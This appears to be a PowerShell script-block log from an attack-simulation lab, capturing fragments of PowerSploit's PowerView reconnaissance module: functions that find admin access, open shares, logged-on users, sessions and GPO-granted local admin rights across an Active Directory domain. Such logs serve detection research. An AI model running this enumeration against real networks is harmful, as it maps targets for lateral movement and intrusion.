$Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($Result2 -eq 0) { Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" } else { $Offset2 = $ppBuffer.ToInt64() $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS $SourceIP = $Info2.Address if ($SourceIP[2] -ne 0) { $SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5] } else { $SourceIP = $Null } $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP $RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo') $RDPSession # free up the memory buffer $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) $Offset += $Increment } } # free up the memory result buffer $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) } else { Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } # close off the service handle $Null = $Wtsapi32::WTSCloseServer($Handle) } else { Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Test-AdminAccess { <# .SYNOPSIS Tests if the current user has administrative access to the local (or a remote) machine. Idea stolen from the local_admin_search_enum post module in Metasploit written by: 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' 'Royce Davis "r3dy" <rdavis[at]accuvant.com>' Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will use the OpenSCManagerW Win32API call to establish a handle to the remote host. If this succeeds, the current user context has local administrator acess to the target. .PARAMETER ComputerName Specifies the hostname to check for local admin access (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Test-AdminAccess -ComputerName sqlserver Returns results indicating whether the current user has admin access to the 'sqlserver' host. .EXAMPLE Get-DomainComputer | Test-AdminAccess Returns what machines in the domain the current user has access to. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Test-AdminAccess -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.AdminAccess A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether the current user has local admin rights, along with the ComputerName added. .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [OutputType('PowerView.AdminAccess')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() $IsAdmin = New-Object PSObject $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer # if we get a non-zero handle back, everything was successful if ($Handle -ne 0) { $Null = $Advapi32::CloseServiceHandle($Handle) $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True } else { Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)" $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False } $IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess') $IsAdmin } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetComputerSiteName { <# .SYNOPSIS Returns the AD site where the local (or a remote) machine resides. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will use the DsGetSiteName Win32API call to look up the name of the site where a specified computer resides. .PARAMETER ComputerName Specifies the hostname to check the site for (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local Returns the site for WINDOWS1.testlab.local. .EXAMPLE Get-DomainComputer | Get-NetComputerSiteName Returns the sites for every machine in AD. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred .OUTPUTS PowerView.ComputerSite A PSCustomObject containing the ComputerName, IPAddress, and associated Site name. #> [OutputType('PowerView.ComputerSite')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # if we get an IP address, try to resolve the IP to a hostname if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { $IPAddress = $Computer $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName } else { $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress } $PtrInfo = [IntPtr]::Zero $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) $ComputerSite = New-Object PSObject $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer e66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122632Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3144 $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN' } } } $Members } else { Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } else { # otherwise we're using the WinNT service provider try { $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group" $GroupProvider.psbase.Invoke('Members') | ForEach-Object { $Member = New-Object PSObject $Member | Add-Member Noteproperty 'ComputerName' $Computer $Member | Add-Member Noteproperty 'GroupName' $GroupName $LocalUser = ([ADSI]$_) $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '') $IsGroup = ($LocalUser.SchemaClassName -like 'group') if(([regex]::Matches($AdsPath, '/')).count -eq 1) { # DOMAIN\user $MemberIsDomain = $True $Name = $AdsPath.Replace('/', '\') } else { # DOMAIN\machine\user $MemberIsDomain = $False $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\') } $Member | Add-Member Noteproperty 'AccountName' $Name $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) $Member | Add-Member Noteproperty 'IsGroup' $IsGroup $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain # if ($MemberIsDomain) { # # translate the binary sid to a string # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) # $Member | Add-Member Noteproperty 'Description' '' # $Member | Add-Member Noteproperty 'Disabled' '' # if ($IsGroup) { # $Member | Add-Member Noteproperty 'LastLogin' '' # } # else { # try { # $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin') # } # catch { # $Member | Add-Member Noteproperty 'LastLogin' '' # } # } # $Member | Add-Member Noteproperty 'PwdLastSet' '' # $Member | Add-Member Noteproperty 'PwdExpired' '' # $Member | Add-Member Noteproperty 'UserFlags' '' # } # else { # # translate the binary sid to a string # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value) # $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description) # if ($IsGroup) { # $Member | Add-Member Noteproperty 'PwdLastSet' '' # $Member | Add-Member Noteproperty 'PwdExpired' '' # $Member | Add-Member Noteproperty 'UserFlags' '' # $Member | Add-Member Noteproperty 'Disabled' '' # $Member | Add-Member Noteproperty 'LastLogin' '' # } # else { # $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) # $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') # $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) # # UAC flags of 0x2 mean the account is disabled # $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2) # try { # $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) # } # catch { # $Member | Add-Member Noteproperty 'LastLogin' '' # } # } # } $Member } } catch { Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_" } } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetShare { <# .SYNOPSIS Returns open shares on the local (or a remote) machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will execute the NetShareEnum Win32API call to query a given host for open shares. This is a replacement for "net share \\hostname". .PARAMETER ComputerName Specifies the hostname to query for shares (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetShare Returns active shares on the local host. .EXAMPLE Get-NetShare -ComputerName sqlserver Returns active shares on the 'sqlserver' host .EXAMPLE Get-DomainComputer | Get-NetShare Returns all shares for all computers in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetShare -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.ShareInfo A PSCustomObject representing a SHARE_INFO_1 structure, including the name/type/remark for each share, with the ComputerName added. .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [OutputType('PowerView.ShareInfo')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # arguments for NetShareEnum $QueryLevel = 1 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get the raw share information $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # work out how much to increment the pointer by finding out the size of the structure $Increment = $SHARE_INFO_1::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $SHARE_INFO_1 # return all the sections of the structure - have to do it this way for V2 $Share = $Info | Select-Object * $Share | Add-Member Noteproperty 'ComputerName' $Computer $Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo') $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $Share } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetLoggedon { <# .SYNOPSIS Returns users logged on the local (or a remote) machine. Note: administrative rights needed for newer Windows OSes. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will execute the NetWkstaUserEnum Win32API call to query a given host for actively logged on users. .PARAMETER ComputerName Specifies the hostname to query for logged on users (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetLoggedon Returns users actively logged onto the local host. .EXAMPLE Get-NetLoggedon -ComputerName sqlserver Returns users actively logged onto the 'sqlserver' host. .EXAMPLE Get-DomainComputer | Get-NetLoggedon Returns all logged on users for all computers in the domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetLoggedon -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.LoggedOnUserInfo A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added. .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [OutputType('PowerView.LoggedOnUserInfo')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # declare the reference variables $QueryLevel = 1 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get logged on user information $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # work out how much to increment the pointer by finding out the size of the structure $Increment = $WKSTA_USER_INFO_1::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 # return all the sections of the structure - have to do it this way for V2 $LoggedOn = $Info | Select-Object * $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer $LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo') $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $LoggedOn } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-NetSession { <# .SYNOPSIS Returns session information for the local (or a remote) machine. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf .DESCRIPTION This function will execute the NetSessionEnum Win32API call to query a given host for active sessions. .PARAMETER ComputerName Specifies the hostname to query for sessions (also accepts IP addresses). Defaults to 'localhost'. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system using Invoke-UserImpersonation. .EXAMPLE Get-NetSession Returns active sessions on the local host. .EXAMPLE Get-NetSession -ComputerName sqlserver Returns active sessions on the 'sqlserver' host. .EXAMPLE Get-DomainController | Get-NetSession Returns active sessions on all domain controllers. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-NetSession -ComputerName sqlserver -Credential $Cred .OUTPUTS PowerView.SessionInfo A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including the CName/UserName/Time/IdleTime for each session, with the ComputerName added. .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [OutputType('PowerView.SessionInfo')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = 'localhost', [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { ForEach ($Computer in $ComputerName) { # arguments for NetSessionEnum $QueryLevel = 10 $PtrInfo = [IntPtr]::Zero $EntriesRead = 0 $TotalRead = 0 $ResumeHandle = 0 # get session information $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) # locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { # work out how much to increment the pointer by finding out the size of the structure $Increment = $SESSION_INFO_10::GetSize() # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $SESSION_INFO_10 # return all the sections of the structure - have to do it this way for V2 $Session = $Info | Select-Object * $Session | Add-Member Noteproperty 'ComputerName' $Computer $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo') $Offset = $NewIntPtr.ToInt64() $Offset += $Increment $Session } # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } else { Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } } END { if ($LogonTokene66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122630Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local2944upSID } $Filters = $_.Filters if ($TargetSIDs[0] -eq '*') { # if the * wildcard was used, set the targets to all GPO members so everything it output $TargetObjectSIDs = $GPOMembers } else { $TargetObjectSIDs = $TargetObjectSID } # find any OUs that have this GPO linked through gpLink Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object { if ($Filters) { $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname } else { $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname } if ($OUComputers) { if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOLocalGroupMapping = New-Object PSObject $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping') $GPOLocalGroupMapping } } } # find any sites that have this GPO linked through gpLink Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object { ForEach ($TargetSid in $TargetObjectSIDs) { $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOLocalGroupMapping = New-Object PSObject $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping') $GPOLocalGroupMapping } } } } } function Get-DomainGPOComputerLocalGroupMapping { <# .SYNOPSIS Takes a computer (or GPO) object and determines what users/groups are in the specified local group for the machine through GPO correlation. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup .DESCRIPTION This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups are in the specified local group for a target machine through GPO correlation. If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to determine the OU the computer is a part of. Then resolve the computer's site name with Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For each resulting GPO group, resolve the resulting user/group name to a full AD object and return the results. This will return the domain objects that are members of the specified -LocalGroup for the given computer. Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and localgroup specifications. .PARAMETER ComputerIdentity A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for. .PARAMETER OUIdentity An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. .PARAMETER LocalGroup The local group to check access against. Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), or a custom local SID. Defaults to local 'Administrators'. .PARAMETER Domain Specifies the domain to enumerate GPOs for, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local Finds users who have local admin rights over WINDOWS3 through GPO correlation. .EXAMPLE Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP Finds users who have RDP rights over WINDOWS4 through GPO correlation. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local .OUTPUTS PowerView.GGPOComputerLocalGroupMember #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GGPOComputerLocalGroupMember')] [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')] Param( [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')] [String] $ComputerIdentity, [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')] [Alias('OU')] [String] $OUIdentity, [String] [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] $LocalGroup = 'Administrators', [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $CommonArguments = @{} if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['ComputerIdentity']) { $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname' if (-not $Computers) { throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name." } ForEach ($Computer in $Computers) { $GPOGuids = @() # extract any GPOs linked to this computer's OU through gpLink $DN = $Computer.distinguishedname $OUIndex = $DN.IndexOf('OU=') if ($OUIndex -gt 0) { $OUName = $DN.SubString($OUIndex) } if ($OUName) { $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object { Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } } } # extract any GPOs linked to this computer's site through gpLink Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)" $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) { $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object { Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } } } # process any GPO local group settings from the GPO GUID set $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object { $GPOGroup = $_ if($GPOGroup.GroupMembers) { $GPOMembers = $GPOGroup.GroupMembers } else { 